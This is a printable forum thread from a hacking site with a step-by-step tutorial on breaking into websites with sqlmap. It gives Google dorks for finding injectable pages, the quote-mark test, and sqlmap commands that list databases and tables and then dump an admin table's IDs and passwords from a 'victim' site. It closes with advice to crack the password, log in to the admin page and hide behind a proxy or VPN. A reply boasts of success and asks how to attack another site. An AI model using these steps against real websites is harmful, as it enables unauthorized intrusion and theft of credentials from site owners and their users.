Hack website using SQLMAP | Kali Linux

Hack website using SQLMAP | Kali Linux - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Hack website using SQLMAP | Kali Linux (/Thread-Hack-website-using-SQLMAP-Kali-Linux)

Hack website using SQLMAP | Kali Linux - Cyber Warrior - 09-14-2014

Introduction:
Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Required:

Kali Linux Download Here!
Brain [Sorry don't have the download link for this]

Ok, now those are little things you should know before we start. I won't bother you explaining more, if you have any questions use google or ask me. Smile

Step 1.

Find Sql vulnerable site.
I will give you some basic dorks which may help you finding websites vulnerable to Sql Injection.

Quote:inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Step 2.

Test if the website is vulnerable
To test if the website is vulnerable to SqlInjection just add " ' " at the end of the url. Like on the image below:
[Image: image.png]

And press enter. If error appears like on the image below it means the website is vulnerable.
[Image: image.png]

Step 3.
Injection.
Open SQLMAP and type this command in the terminal and hit enter like on the image below:

Quote:sqlmap -u "www.yourtaget.com/accinfo.php?id=31" --dbs

Now we will get the database name of the website.
[Image: image.png]

We got the two database "searchpr_properly" and "information_schema" we will select "searchpr_properly" database.

Step 4.
Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter.

Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly --tables

Now we will get the tables list which is stored in the database we selected.
[Image: image.png]

Step 5.
Now lets grab the columns from the "re_admin" table , type on terminal:

Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly -T re_admin --columns

Now we got the columns and we got "AdminID" and "AdminPass" like on the image below:
[Image: image.png]

Step 6.
Now we are going to grab the user and pass:

Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly -T re_admin -C AdminID,AdminPass --dump

Now you need to decrypt the password.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !

Directory of sqlmap on Kali Linux:
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output

Thank you for reading this tutorial!
-=_ Cyber Warrior _=-

RE: Hack website using SQLMAP | Kali Linux - Mohit0908 - 09-22-2014

I have succeeded in doing this.But I have found a website which uses mysql database but doesnt have "php.id=1,2,3 etc" . I came to know this by using the "nmap" tool in kali linux. The website was using mysql but the url didnt have php.id=1,2,3 etc.. What should i do now to access the database of the website. Incase you want the website url i cam PM you.

RE: Hack website using SQLMAP | Kali Linux - h3r0 - 09-23-2014

(09-22-2014, 06:35 AM)Mohit0908 Wrote: I have succeeded in doing this.But I have found a website which uses mysql database but doesnt have "php.id=1,2,3 etc" . I came to know this by using the "nmap" tool in kali linux. The website was using mysql but the url didnt have php.id=1,2,3 etc.. What should i do now to access the database of the website. Incase you want the website url i cam PM you.

If you have succeeded in doing this you wouldn't be asking this question. All you know is that there is a website that uses mysql. You really have no clue what's going on with this tool, mysql, or PHP. You should probably take a step back and learn these things. Stop being a skid, you obviously are lacking one of the two requirements that the author put out.

RE: Hack website using SQLMAP | Kali Linux - h3r0 - 09-23-2014

(09-22-2014, 06:35 AM)Mohit0908 Wrote: I have succeeded in doing this.But I have found a website which uses mysql database but doesnt have "php.id=1,2,3 etc" . I came to know this by using the "nmap" tool in kali linux. The website was using mysql but the url didnt have php.id=1,2,3 etc.. What should i do now to access the database of the website. Incase you want the website url i cam PM you.

RE: Hack website using SQLMAP | Kali Linux - RogueCoder - 09-23-2014

To be honest, you do not even need a brain to use sqlmap. Also, downloading Kali just for this tool is overkill... All you need is to clone the repo